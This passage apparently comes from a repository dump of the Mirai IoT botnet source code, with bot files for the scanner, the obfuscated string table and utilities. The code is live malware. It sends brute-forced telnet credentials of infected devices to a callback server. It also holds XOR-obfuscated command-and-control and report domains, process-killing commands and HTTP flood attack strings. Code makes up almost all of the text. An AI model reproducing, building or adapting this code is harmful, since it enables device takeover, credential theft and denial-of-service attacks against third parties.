continue;\n        else if (r < auth_table[i].weight_max)\n            return &auth_table[i];\n    }\n\n    return NULL;\n}\n\nstatic void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth)\n{\n    struct sockaddr_in addr;\n    int pid = fork(), fd;\n    struct resolv_entries *entries = NULL;\n\n    if (pid > 0 || pid == -1)\n        return;\n\n    if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"[report] Failed to call socket()\\n\");\n#endif\n        exit(0);\n    }\n\n    table_unlock_val(TABLE_SCAN_CB_DOMAIN);\n    table_unlock_val(TABLE_SCAN_CB_PORT);\n\n    entries = resolv_lookup(table_retrieve_val(TABLE_SCAN_CB_DOMAIN, NULL));\n    if (entries == NULL)\n    {\n#ifdef DEBUG\n        printf(\"[report] Failed to resolve report address\\n\");\n#endif\n        return;\n    }\n    addr.sin_family = AF_INET;\n    addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];\n    addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL));\n    resolv_entries_free(entries);\n\n    table_lock_val(TABLE_SCAN_CB_DOMAIN);\n    table_lock_val(TABLE_SCAN_CB_PORT);\n\n    if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"[report] Failed to connect to scanner callback!\\n\");\n#endif\n        close(fd);\n        exit(0);\n    }\n\n    uint8_t zero = 0;\n    send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);\n    send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);\n    send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);\n    send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);\n    send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);\n    send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);\n    send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);\n\n#ifdef DEBUG\n    printf(\"[report] Send scan result to loader\\n\");\n#endif\n\n    close(fd);\n    exit(0);\n}\n\nstatic char *deobf(char *str, int *len)\n{\n    int i;\n    char *cpy;\n\n    *len = util_strlen(str);\n    cpy = malloc(*len + 1);\n\n    util_memcpy(cpy, str, *len + 1);\n\n    for (i = 0; i < *len; i++)\n    {\n        cpy[i] ^= 0xDE;\n        cpy[i] ^= 0xAD;\n        cpy[i] ^= 0xBE;\n        cpy[i] ^= 0xEF;\n    }\n\n    return cpy;\n}\n\nstatic BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount)\n{\n    uint8_t *end = conn->rdbuf + conn->rdbuf_pos;\n\n    return ptr + amount < end;\n}\n\n#endif\n"
  },
  {
    "path": "mirai/bot/scanner.h",
    "content": "#pragma once\n\n#include <stdint.h>\n\n#include \"includes.h\"\n\n#ifdef DEBUG\n#define SCANNER_MAX_CONNS   128\n#define SCANNER_RAW_PPS     160\n#else\n#define SCANNER_MAX_CONNS   128\n#define SCANNER_RAW_PPS     160\n#endif\n\n#define SCANNER_RDBUF_SIZE  256\n#define SCANNER_HACK_DRAIN  64\n\nstruct scanner_auth {\n    char *username;\n    char *password;\n    uint16_t weight_min, weight_max;\n    uint8_t username_len, password_len;\n};\n\nstruct scanner_connection {\n    struct scanner_auth *auth;\n    int fd, last_recv;\n    enum {\n        SC_CLOSED,\n        SC_CONNECTING,\n        SC_HANDLE_IACS,\n        SC_WAITING_USERNAME,\n        SC_WAITING_PASSWORD,\n        SC_WAITING_PASSWD_RESP,\n        SC_WAITING_ENABLE_RESP,\n        SC_WAITING_SYSTEM_RESP,\n        SC_WAITING_SHELL_RESP,\n        SC_WAITING_SH_RESP,\n        SC_WAITING_TOKEN_RESP\n    } state;\n    ipv4_t dst_addr;\n    uint16_t dst_port;\n    int rdbuf_pos;\n    char rdbuf[SCANNER_RDBUF_SIZE];\n    uint8_t tries;\n};\n\nvoid scanner_init();\nvoid scanner_kill(void);\n\nstatic void setup_connection(struct scanner_connection *);\nstatic ipv4_t get_random_ip(void);\n\nstatic int consume_iacs(struct scanner_connection *);\nstatic int consume_any_prompt(struct scanner_connection *);\nstatic int consume_user_prompt(struct scanner_connection *);\nstatic int consume_pass_prompt(struct scanner_connection *);\nstatic int consume_resp_prompt(struct scanner_connection *);\n\nstatic void add_auth_entry(char *, char *, uint16_t);\nstatic struct scanner_auth *random_auth_entry(void);\nstatic void report_working(ipv4_t, uint16_t, struct scanner_auth *);\nstatic char *deobf(char *, int *);\nstatic BOOL can_consume(struct scanner_connection *, uint8_t *, int);\n"
  },
  {
    "path": "mirai/bot/table.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <stdint.h>\n#include <stdlib.h>\n\n#include \"includes.h\"\n#include \"table.h\"\n#include \"util.h\"\n\nuint32_t table_key = 0xdeadbeef;\nstruct table_value table[TABLE_MAX_KEYS];\n\nvoid table_init(void)\n{\n    add_entry(TABLE_CNC_DOMAIN, \"\\x41\\x4C\\x41\\x0C\\x41\\x4A\\x43\\x4C\\x45\\x47\\x4F\\x47\\x0C\\x41\\x4D\\x4F\\x22\", 30); // cnc.changeme.com\n    add_entry(TABLE_CNC_PORT, \"\\x22\\x35\", 2);   // 23\n\n    add_entry(TABLE_SCAN_CB_DOMAIN, \"\\x50\\x47\\x52\\x4D\\x50\\x56\\x0C\\x41\\x4A\\x43\\x4C\\x45\\x47\\x4F\\x47\\x0C\\x41\\x4D\\x4F\\x22\", 29); // report.changeme.com\n    add_entry(TABLE_SCAN_CB_PORT, \"\\x99\\xC7\", 2);         // 48101\n\n    add_entry(TABLE_EXEC_SUCCESS, \"\\x4E\\x4B\\x51\\x56\\x47\\x4C\\x4B\\x4C\\x45\\x02\\x56\\x57\\x4C\\x12\\x22\", 15);\n\n    // safe string https://youtu.be/dQw4w9WgXcQ\n    add_entry(TABLE_KILLER_SAFE, \"\\x4A\\x56\\x56\\x52\\x51\\x18\\x0D\\x0D\\x5B\\x4D\\x57\\x56\\x57\\x0C\\x40\\x47\\x0D\\x46\\x73\\x55\\x16\\x55\\x1B\\x75\\x45\\x7A\\x41\\x73\\x22\", 29);\n    add_entry(TABLE_KILLER_PROC, \"\\x0D\\x52\\x50\\x4D\\x41\\x0D\\x22\", 7);\n    add_entry(TABLE_KILLER_EXE, \"\\x0D\\x47\\x5A\\x47\\x22\", 5);\n    add_entry(TABLE_KILLER_DELETED, \"\\x02\\x0A\\x46\\x47\\x4E\\x47\\x56\\x47\\x46\\x0B\\x22\", 11);\n    add_entry(TABLE_KILLER_FD, \"\\x0D\\x44\\x46\\x22\", 4);\n    add_entry(TABLE_KILLER_ANIME, \"\\x0C\\x43\\x4C\\x4B\\x4F\\x47\\x22\", 7);\n    add_entry(TABLE_KILLER_STATUS, \"\\x0D\\x51\\x56\\x43\\x56\\x57\\x51\\x22\", 8);\n    add_entry(TABLE_MEM_QBOT, \"\\x70\\x67\\x72\\x6D\\x70\\x76\\x02\\x07\\x51\\x18\\x07\\x51\\x22\", 13);\n    add_entry(TABLE_MEM_QBOT2, \"\\x6A\\x76\\x76\\x72\\x64\\x6E\\x6D\\x6D\\x66\\x22\", 10);\n    add_entry(TABLE_MEM_QBOT3, \"\\x6E\\x6D\\x6E\\x6C\\x6D\\x65\\x76\\x64\\x6D\\x22\", 10);\n    add_entry(TABLE_MEM_UPX, \"\\x7E\\x5A\\x17\\x1A\\x7E\\x5A\\x16\\x66\\x7E\\x5A\\x16\\x67\\x7E\\x5A\\x16\\x67\\x7E\\x5A\\x16\\x11\\x7E\\x5A\\x17\\x12\\x7E\\x5A\\x16\\x14\\x7E\\x5A\\x10\\x10\\x22\", 33);\n    add_entry(TABLE_MEM_ZOLLARD, \"\\x58\\x4D\\x4E\\x4E\\x43\\x50\\x46\\x22\", 8);\n    add_entry(TABLE_MEM_REMAITEN, \"\\x65\\x67\\x76\\x6E\\x6D\\x61\\x63\\x6E\\x6B\\x72\\x22\", 11);\n\n    add_entry(TABLE_SCAN_SHELL, \"\\x51\\x4A\\x47\\x4E\\x4E\\x22\", 6);\n    add_entry(TABLE_SCAN_ENABLE, \"\\x47\\x4C\\x43\\x40\\x4E\\x47\\x22\", 7);\n    add_entry(TABLE_SCAN_SYSTEM, \"\\x51\\x5B\\x51\\x56\\x47\\x4F\\x22\", 7);\n    add_entry(TABLE_SCAN_SH, \"\\x51\\x4A\\x22\", 3);\n    add_entry(TABLE_SCAN_QUERY, \"\\x0D\\x40\\x4B\\x4C\\x0D\\x40\\x57\\x51\\x5B\\x40\\x4D\\x5A\\x02\\x6F\\x6B\\x70\\x63\\x6B\\x22\", 19);\n    add_entry(TABLE_SCAN_RESP, \"\\x6F\\x6B\\x70\\x63\\x6B\\x18\\x02\\x43\\x52\\x52\\x4E\\x47\\x56\\x02\\x4C\\x4D\\x56\\x02\\x44\\x4D\\x57\\x4C\\x46\\x22\", 24);\n    add_entry(TABLE_SCAN_NCORRECT, \"\\x4C\\x41\\x4D\\x50\\x50\\x47\\x41\\x56\\x22\", 9);\n    add_entry(TABLE_SCAN_PS, \"\\x0D\\x40\\x4B\\x4C\\x0D\\x40\\x57\\x51\\x5B\\x40\\x4D\\x5A\\x02\\x52\\x51\\x22\", 16);\n    add_entry(TABLE_SCAN_KILL_9, \"\\x0D\\x40\\x4B\\x4C\\x0D\\x40\\x57\\x51\\x5B\\x40\\x4D\\x5A\\x02\\x49\\x4B\\x4E\\x4E\\x02\\x0F\\x1B\\x02\\x22\", 22);\n\n    add_entry(TABLE_ATK_VSE, \"\\x76\\x71\\x4D\\x57\\x50\\x41\\x47\\x02\\x67\\x4C\\x45\\x4B\\x4C\\x47\\x02\\x73\\x57\\x47\\x50\\x5B\\x22\", 21);\n    add_entry(TABLE_ATK_RESOLVER, \"\\x0D\\x47\\x56\\x41\\x0D\\x50\\x47\\x51\\x4D\\x4E\\x54\\x0C\\x41\\x4D\\x4C\\x44\\x22\", 17);\n    add_entry(TABLE_ATK_NSERV, \"\\x4C\\x43\\x4F\\x47\\x51\\x47\\x50\\x54\\x47\\x50\\x02\\x22\", 12);\n\n    add_entry(TABLE_ATK_KEEP_ALIVE, \"\\x61\\x4D\\x4C\\x4C\\x47\\x41\\x56\\x4B\\x4D\\x4C\\x18\\x02\\x49\\x47\\x47\\x52\\x0F\\x43\\x4E\\x4B\\x54\\x47\\x22\", 23);\n    add_entry(TABLE_ATK_ACCEPT, \"\\x63\\x41\\x41\\x47\\x52\\x56\\x18\\x02\\x56\\x47\\x5A\\x56\\x0D\\x4A\\x56\\x4F\\x4E\\x0E\\x43\\x52\\x52\\x4E\\x4B\\x41\\x43\\x56\\x4B\\x4D\\x4C\\x0D\\x5A\\x4A\\x56\\x4F\\x4E\\x09\\x5A\\x4F\\x4E\\x0E\\x43\\x52\\x52\\x4E\\x4B\\x41\\x43\\x56\\x4B\\x4D\\x4C\\x0D\\x5A\\x4F\\x4E\\x19\\x53\\x1F\\x12\\x0C\\x1B\\x0E\\x4B\\x4F\\x43\\x45\\x47\\x0D\\x55\\x47\\x40\\x52\\x0E\\x08\\x0D\\x08\\x19\\x53\\x1F\\x12\\x0C\\x1A\\x22\", 83);\n    add_entry(TABLE_ATK_ACCEPT_LNG, \"\\x63\\x41\\x41\\x47\\x52\\x56\\x0F\\x6E\\x43\\x4C\\x45\\x57\\x43\\x45\\x47\\x18\\x02\\x47\\x4C\\x0F\\x77\\x71\\x0E\\x47\\x4C\\x19\\x53\\x1F\\x12\\x0C\\x1A\\x22\", 32);\n    add_entry(TABLE_ATK_CONTENT_TYPE, \"\\x61\\x4D\\x4C\\x56\\x47\\x4C\\x56\\x0F\\x76\\x5B\\x52\\x47\\x18\\x02\\x43\\x52\\x52\\x4E\\x4B\\x41\\x43\\x56\\x4B\\x4D\\x4C\\x0D\\x5A\\x0F\\x55\\x55\\x55\\x0F\\x44\\x4D\\x50\\x4F\\x0F\\x57\\x50\\x4E\\x47\\x4C\\x41\\x4D\\x46\\x47\\x46\\x22\", 48);\n    add_entry(TABLE_ATK_SET_COOKIE, \"\\x51\\x47\\x56\\x61\\x4D\\x4D\\x49\\x4B\\x47\\x0A\\x05\\x22\", 12);\n    add_entry(TABLE_ATK_REFRESH_HDR, \"\\x50\\x47\\x44\\x50\\x47\\x51\\x4A\\x18\\x22\", 9);\n    add_entry(TABLE_ATK_LOCATION_HDR, \"\\x4E\\x4D\\x41\\x43\\x56\\x4B\\x4D\\x4C\\x18\\x22\", 10);\n    add_entry(TABLE_ATK_SET_COOKIE_HDR, \"\\x51\\x47\\x56\\x0F\\x41\\x4D\\x4D\\x49\\x4B\\x47\\x18\\x22\", 12);\n    add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, \"\\x41\\x4D\\x4C\\x56\\x47\\x4C\\x56\\x0F\\x4E\\x47\\x4C\\x45\\x56\\x4A\\x18\\x22\", 16);\n    add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, \"\\x56\\x50\\x43\\x4C\\x51\\x44\\x47\\x50\\x0F\\x47\\x4C\\x41\\x4D\\x46\\x4B\\x4C\\x45\\x18\\x22\", 19);\n    add_entry(TABLE_ATK_CHUNKED, \"\\x41\\x4A\\x57\\x4C\\x49\\x47\\x46\\x22\", 8);\n    add_entry(TABLE_ATK_KEEP_ALIVE_HDR, \"\\x49\\x47\\x47\\x52\\x0F\\x43\\x4E\\x4B\\x54\\x47\\x22\", 11);\n    add_entry(TABLE_ATK_CONNECTION_HDR, \"\\x41\\x4D\\x4C\\x4C\\x47\\x41\\x56\\x4B\\x4D\\x4C\\x18\\x22\", 12);\n    add_entry(TABLE_ATK_DOSARREST, \"\\x51\\x47\\x50\\x54\\x47\\x50\\x18\\x02\\x46\\x4D\\x51\\x43\\x50\\x50\\x47\\x51\\x56\\x22\", 18);\n    add_entry(TABLE_ATK_CLOUDFLARE_NGINX, \"\\x51\\x47\\x50\\x54\\x47\\x50\\x18\\x02\\x41\\x4E\\x4D\\x57\\x46\\x44\\x4E\\x43\\x50\\x47\\x0F\\x4C\\x45\\x4B\\x4C\\x5A\\x22\", 25);\n\n    add_entry(TABLE_HTTP_ONE, \"\\x6F\\x4D\\x58\\x4B\\x4E\\x4E\\x43\\x0D\\x17\\x0C\\x12\\x02\\x0A\\x75\\x4B\\x4C\\x46\\x4D\\x55\\x51\\x02\\x6C\\x76\\x02\\x13\\x12\\x0C\\x12\\x19\\x02\\x75\\x6D\\x75\\x14\\x16\\x0B\\x02\\x63\\x52\\x52\\x4E\\x47\\x75\\x47\\x40\\x69\\x4B\\x56\\x0D\\x17\\x11\\x15\\x0C\\x11\\x14\\x02\\x0A\\x69\\x6A\\x76\\x6F\\x6E\\x0E\\x02\\x4E\\x4B\\x49\\x47\\x02\\x65\\x47\\x41\\x49\\x4D\\x0B\\x02\\x61\\x4A\\x50\\x4D\\x4F\\x47\\x0D\\x17\\x13\\x0C\\x12\\x0C\\x10\\x15\\x12\\x16\\x0C\\x13\\x12\\x11\\x02\\x71\\x43\\x44\\x43\\x50\\x4B\\x0D\\x17\\x11\\x15\\x0C\\x11\\x14\\x22\", 111);\n    add_entry(TABLE_HTTP_TWO, \"\\x6F\\x4D\\x58\\x4B\\x4E\\x4E\\x43\\x0D\\x17\\x0C\\x12\\x02\\x0A\\x75\\x4B\\x4C\\x46\\x4D\\x55\\x51\\x02\\x6C\\x76\\x02\\x13\\x12\\x0C\\x12\\x19\\x02\\x75\\x6D\\x75\\x14\\x16\\x0B\\x02\\x63\\x52\\x52\\x4E\\x47\\x75\\x47\\x40\\x69\\x4B\\x56\\x0D\\x17\\x11\\x15\\x0C\\x11\\x14\\x02\\x0A\\x69\\x6A\\x76\\x6F\\x6E\\x0E\\x02\\x4E\\x4B\\x49\\x47\\x02\\x65\\x47\\x41\\x49\\x4D\\x0B\\x02\\x61\\x4A\\x50\\x4D\\x4F\\x47\\x0D\\x17\\x10\\x0C\\x12\\x0C\\x10\\x15\\x16\\x11\\x0C\\x13\\x13\\x14\\x02\\x71\\x43\\x44\\x43\\x50\\x4B\\x0D\\x17\\x11\\x15\\x0C\\x11\\x14\\x22\", 111);\n    add_entry(TABLE_HTTP_THREE, \"\\x6F\\x4D\\x58\\x4B\\x4E\\x4E\\x43\\x0D\\x17\\x0C\\x12\\x02\\x0A\\x75\\x4B\\x4C\\x46\\x4D\\x55\\x51\\x02\\x6C\\x76\\x02\\x14\\x0C\\x13\\x19\\x02\\x75\\x6D\\x75\\x14\\x16\\x0B\\x02\\x63\\x52\\x52\\x4E\\x47\\x75\\x47\\x40\\x69\\x4B\\x56\\x0D\\x17\\x11\\x15\\x0C\\x11\\x14\\x02\\x0A\\x69\\x6A\\x76\\x6F\\x6E\\x0E\\x02\\x4E\\x4B\\x49\\x47\\x02\\x65\\x47\\x41\\x49\\x4D\\x0B\\x02\\x61\\x4A\\x50\\x4D\\x4F\\x47\\x0D\\x17\\x13\\x0C\\x12\\x0C\\x10\\x15\\x12\\x16\\x0C\\x13\\x12\\x11\\x02\\x71\\x43\\x44\\x43\\x50\\x4B\\x0D\\x17\\x11\\x15\\x0C\\x11\\x14\\x22\", 110);\n    add_entry(TABLE_HTTP_FOUR, \"\\x6F\\x4D\\x58\\x4B\\x4E\\x4E\\x43\\x0D\\x17\\x0C\\x12\\x02\\x0A\\x75\\x4B\\x4C\\x46\\x4D\\x55\\x51\\x02\\x6C\\x76\\x02\\x14\\x0C\\x13\\x19\\x02\\x75\\x6D\\x75\\x14\\x16\\x0B\\x02\\x63\\x52\\x52\\x4E\\x47\\x75\\x47\\x40\\x69\\x4B\\x56\\x0D\\x17\\x11\\x15\\x0C\\x11\\x14\\x02\\x0A\\x69\\x6A\\x76\\x6F\\x6E\\x0E\\x02\\x4E\\x4B\\x49\\x47\\x02\\x65\\x47\\x41\\x49\\x4D\\x0B\\x02\\x61\\x4A\\x50\\x4D\\x4F\\x47\\x0D\\x17\\x10\\x0C\\x12\\x0C\\x10\\x15\\x16\\x11\\x0C\\x13\\x13\\x14\\x02\\x71\\x43\\x44\\x43\\x50\\x4B\\x0D\\x17\\x11\\x15\\x0C\\x11\\x14\\x22\", 110);\n    add_entry(TABLE_HTTP_FIVE, \"\\x6F\\x4D\\x58\\x4B\\x4E\\x4E\\x43\\x0D\\x17\\x0C\\x12\\x02\\x0A\\x6F\\x43\\x41\\x4B\\x4C\\x56\\x4D\\x51\\x4A\\x19\\x02\\x6B\\x4C\\x56\\x47\\x4E\\x02\\x6F\\x43\\x41\\x02\\x6D\\x71\\x02\\x7A\\x02\\x13\\x12\\x7D\\x13\\x13\\x7D\\x14\\x0B\\x02\\x63\\x52\\x52\\x4E\\x47\\x75\\x47\\x40\\x69\\x4B\\x56\\x0D\\x14\\x12\\x13\\x0C\\x15\\x0C\\x15\\x02\\x0A\\x69\\x6A\\x76\\x6F\\x6E\\x0E\\x02\\x4E\\x4B\\x49\\x47\\x02\\x65\\x47\\x41\\x49\\x4D\\x0B\\x02\\x74\\x47\\x50\\x51\\x4B\\x4D\\x4C\\x0D\\x1B\\x0C\\x13\\x0C\\x10\\x02\\x71\\x43\\x44\\x43\\x50\\x4B\\x0D\\x14\\x12\\x13\\x0C\\x15\\x0C\\x15\\x22\", 117);\n}\n\nvoid table_unlock_val(uint8_t id)\n{\n    struct table_value *val = &table[id];\n\n#ifdef DEBUG\n    if (!val->locked)\n    {\n        printf(\"[table] Tried to double-unlock value %d\\n\", id);\n        return;\n    }\n#endif\n\n    toggle_obf(id);\n}\n\nvoid table_lock_val(uint8_t id)\n{\n    struct table_value *val = &table[id];\n\n#ifdef DEBUG\n    if (val->locked)\n    {\n        printf(\"[table] Tried to double-lock value\\n\");\n        return;\n    }\n#endif\n\n    toggle_obf(id);\n}\n\nchar *table_retrieve_val(int id, int *len)\n{\n    struct table_value *val = &table[id];\n\n#ifdef DEBUG\n    if (val->locked)\n    {\n        printf(\"[table] Tried to access table.%d but it is locked\\n\", id);\n        return NULL;\n    }\n#endif\n\n    if (len != NULL)\n        *len = (int)val->val_len;\n    return val->val;\n}\n\nstatic void add_entry(uint8_t id, char *buf, int buf_len)\n{\n    char *cpy = malloc(buf_len);\n\n    util_memcpy(cpy, buf, buf_len);\n\n    table[id].val = cpy;\n    table[id].val_len = (uint16_t)buf_len;\n#ifdef DEBUG\n    table[id].locked = TRUE;\n#endif\n}\n\nstatic void toggle_obf(uint8_t id)\n{\n    int i;\n    struct table_value *val = &table[id];\n    uint8_t k1 = table_key & 0xff,\n            k2 = (table_key >> 8) & 0xff,\n            k3 = (table_key >> 16) & 0xff,\n            k4 = (table_key >> 24) & 0xff;\n\n    for (i = 0; i < val->val_len; i++)\n    {\n        val->val[i] ^= k1;\n        val->val[i] ^= k2;\n        val->val[i] ^= k3;\n        val->val[i] ^= k4;\n    }\n\n#ifdef DEBUG\n    val->locked = !val->locked;\n#endif\n}\n"
  },
  {
    "path": "mirai/bot/table.h",
    "content": "#pragma once\n\n#include <stdint.h>\n#include \"includes.h\"\n\nstruct table_value {\n    char *val;\n    uint16_t val_len;\n#ifdef DEBUG\n    BOOL locked;\n#endif\n};\n\n/* Generic bot info */\n#define TABLE_PROCESS_ARGV              1\n#define TABLE_EXEC_SUCCESS              2\n#define TABLE_CNC_DOMAIN                3\n#define TABLE_CNC_PORT                  4\n          \n/* Killer data */          \n#define TABLE_KILLER_SAFE               5\n#define TABLE_KILLER_PROC               6\n#define TABLE_KILLER_EXE                7\n#define TABLE_KILLER_DELETED            8   /* \" (deleted)\" */\n#define TABLE_KILLER_FD                 9   /* \"/fd\" */\n#define TABLE_KILLER_ANIME              10  /* .anime */\n#define TABLE_KILLER_STATUS             11\n#define TABLE_MEM_QBOT                  12\n#define TABLE_MEM_QBOT2                 13\n#define TABLE_MEM_QBOT3                 14\n#define TABLE_MEM_UPX                   15\n#define TABLE_MEM_ZOLLARD               16\n#define TABLE_MEM_REMAITEN              17\n          \n/* Scanner data */          \n#define TABLE_SCAN_CB_DOMAIN            18  /* domain to connect to */\n#define TABLE_SCAN_CB_PORT              19  /* Port to connect to */\n#define TABLE_SCAN_SHELL                20  /* 'shell' to enable shell access */\n#define TABLE_SCAN_ENABLE               21  /* 'enable' to enable shell access */\n#define TABLE_SCAN_SYSTEM               22  /* 'system' to enable shell access */\n#define TABLE_SCAN_SH                   23  /* 'sh' to enable shell access */\n#define TABLE_SCAN_QUERY                24  /* echo hex string to verify login */\n#define TABLE_SCAN_RESP                 25  /* utf8 version of query string */\n#define TABLE_SCAN_NCORRECT             26  /* 'ncorrect' to fast-check for invalid password */\n#define TABLE_SCAN_PS                   27  /* \"/bin/busybox ps\" */\n#define TABLE_SCAN_KILL_9               28  /* \"/bin/busybox kill -9 \" */\n          \n/* Attack strings */          \n#define TABLE_ATK_VSE                   29  /* TSource Engine Query */\n#define TABLE_ATK_RESOLVER              30  /* /etc/resolv.conf */\n#define TABLE_ATK_NSERV                 31  /* \"nameserver \" */\n\n#define TABLE_ATK_KEEP_ALIVE            32  /* \"Connection: keep-alive\" */\n#define TABLE_ATK_ACCEPT                33  // \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\" // */\n#define TABLE_ATK_ACCEPT_LNG            34  // \"Accept-Language: en-US,en;q=0.8\"\n#define TABLE_ATK_CONTENT_TYPE          35  // \"Content-Type: application/x-www-form-urlencoded\"\n#define TABLE_ATK_SET_COOKIE            36  // \"setCookie('\"\n#define TABLE_ATK_REFRESH_HDR           37  // \"refresh:\"\n#define TABLE_ATK_LOCATION_HDR          38  // \"location:\"\n#define TABLE_ATK_SET_COOKIE_HDR        39  // \"set-cookie:\"\n#define TABLE_ATK_CONTENT_LENGTH_HDR    40  // \"content-length:\"\n#define TABLE_ATK_TRANSFER_ENCODING_HDR 41  // \"transfer-encoding:\"\n#define TABLE_ATK_CHUNKED               42  // \"chunked\"\n#define TABLE_ATK_KEEP_ALIVE_HDR        43  // \"keep-alive\"\n#define TABLE_ATK_CONNECTION_HDR        44  // \"connection:\"\n#define TABLE_ATK_DOSARREST             45  // \"server: dosarrest\"\n#define TABLE_ATK_CLOUDFLARE_NGINX      46  // \"server: cloudflare-nginx\"\n\n/* User agent strings */\n#define TABLE_HTTP_ONE                  47  /* \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\" */\n#define TABLE_HTTP_TWO                  48  /* \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\" */\n#define TABLE_HTTP_THREE                49  /* \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\" */\n#define TABLE_HTTP_FOUR                 50  /* \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\" */\n#define TABLE_HTTP_FIVE                 51  /* \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\" */\n\n#define TABLE_MAX_KEYS  52 /* Highest value + 1 */\n\nvoid table_init(void);\nvoid table_unlock_val(uint8_t);\nvoid table_lock_val(uint8_t); \nchar *table_retrieve_val(int, int *);\n\nstatic void add_entry(uint8_t, char *, int);\nstatic void toggle_obf(uint8_t);\n"
  },
  {
    "path": "mirai/bot/util.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <stdlib.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <errno.h>\n#include <limits.h>\n#include <dirent.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <signal.h>\n\n#include \"includes.h\"\n#include \"util.h\"\n#include \"table.h\"\n\nint util_strlen(char *str)\n{\n    int c = 0;\n\n    while (*str++ != 0)\n        c++;\n    return c;\n}\n\n\nBOOL util_strncmp(char *str1, char *str2, int len)\n{\n    int l1 = util_strlen(str1), l2 = util_strlen(str2);\n\n    if (l1 < len || l2 < len)\n        return FALSE;\n\n    while (len--)\n    {\n        if (*str1++ != *str2++)\n            return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL util_strcmp(char *str1, char *str2)\n{\n    int l1 = util_strlen(str1), l2 = util_strlen(str2);\n\n    if (l1 != l2)\n        return FALSE;\n\n    while (l1--)\n    {\n        if (*str1++ != *str2++)\n            return FALSE;\n    }\n\n    return TRUE;\n}\n\nint util_strcpy(char *dst, char *src)\n{\n    int l = util_strlen(src);\n\n    util_memcpy(dst, src, l + 1);\n\n    return l;\n}\n\nvoid util_memcpy(void *dst, void *src, int len)\n{\n    char *r_dst = (char *)dst;\n    char *r_src = (char *)src;\n    while (len--)\n        *r_dst++ = *r_src++;\n}\n\nvoid util_zero(void *buf, int len)\n{\n    char *zero = buf;\n    while (len--)\n        *zero++ = 0;\n}\n\nint util_atoi(char *str, int base)\n{\n\tunsigned long acc = 0;\n\tint c;\n\tunsigned long cutoff;\n\tint neg = 0, any, cutlim;\n\n\tdo {\n\t\tc = *str++;\n\t} while (util_isspace(c));\n\tif (c == '-') {\n\t\tneg = 1;\n\t\tc = *str++;\n\t} else if (c == '+')\n\t\tc = *str++;\n\n\tcutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;\n\tcutlim = cutoff % (unsigned long)base;\n\tcutoff /= (unsigned long)base;\n\tfor (acc = 0, any = 0;; c = *str++) {\n\t\tif (util_isdigit(c))\n\t\t\tc -= '0';\n\t\telse if (util_isalpha(c))\n\t\t\tc -= util_isupper(c) ? 'A' - 10 : 'a' - 10;\n\t\telse\n\t\t\tbreak;\n            \n\t\tif (c >= base)\n\t\t\tbreak;\n\n\t\tif (any < 0 || acc > cutoff || acc == cutoff && c > cutlim)\n\t\t\tany = -1;\n\t\telse {\n\t\t\tany = 1;\n\t\t\tacc *= base;\n\t\t\tacc += c;\n\t\t}\n\t}\n\tif (any < 0) {\n\t\tacc = neg ? LONG_MIN : LONG_MAX;\n\t} else if (neg)\n\t\tacc = -acc;\n\treturn (acc);\n}\n\nchar *util_itoa(int value, int radix, char *string)\n{\n    if (string == NULL)\n        return NULL;\n\n    if (value != 0)\n    {\n        char scratch[34];\n        int neg;\n        int offset;\n        int c;\n        unsigned int accum;\n\n        offset = 32;\n        scratch[33] = 0;\n\n        if (radix == 10 && value < 0)\n        {\n            neg = 1;\n            accum = -value;\n        }\n        else\n        {\n            neg = 0;\n            accum = (unsigned int)value;\n        }\n\n        while (accum)\n        {\n            c = accum % radix;\n            if (c < 10)\n                c += '0';\n            else\n                c += 'A' - 10;\n\n            scratch[offset] = c;\n            accum /= radix;\n            offset--;\n        }\n        \n        if (neg)\n            scratch[offset] = '-';\n        else\n            offset++;\n\n        util_strcpy(string, &scratch[offset]);\n    }\n    else\n    {\n        string[0] = '0';\n        string[1] = 0;\n    }\n\n    return string;\n}\n\nint util_memsearch(char *buf, int buf_len, char *mem, int mem_len)\n{\n    int i, matched = 0;\n\n    if (mem_len > buf_len)\n        return -1;\n\n    for (i = 0; i < buf_len; i++)\n    {\n        if (buf[i] == mem[matched])\n        {\n            if (++matched == mem_len)\n                return i + 1;\n        }\n        else\n            matched = 0;\n    }\n\n    return -1;\n}\n\nint util_stristr(char *haystack, int haystack_len, char *str)\n{\n    char *ptr = haystack;\n    int str_len = util_strlen(str);\n    int match_count = 0;\n\n    while (haystack_len-- > 0)\n    {\n        char a = *ptr++;\n        char b = str[match_count];\n        a = a >= 'A' && a <= 'Z' ? a | 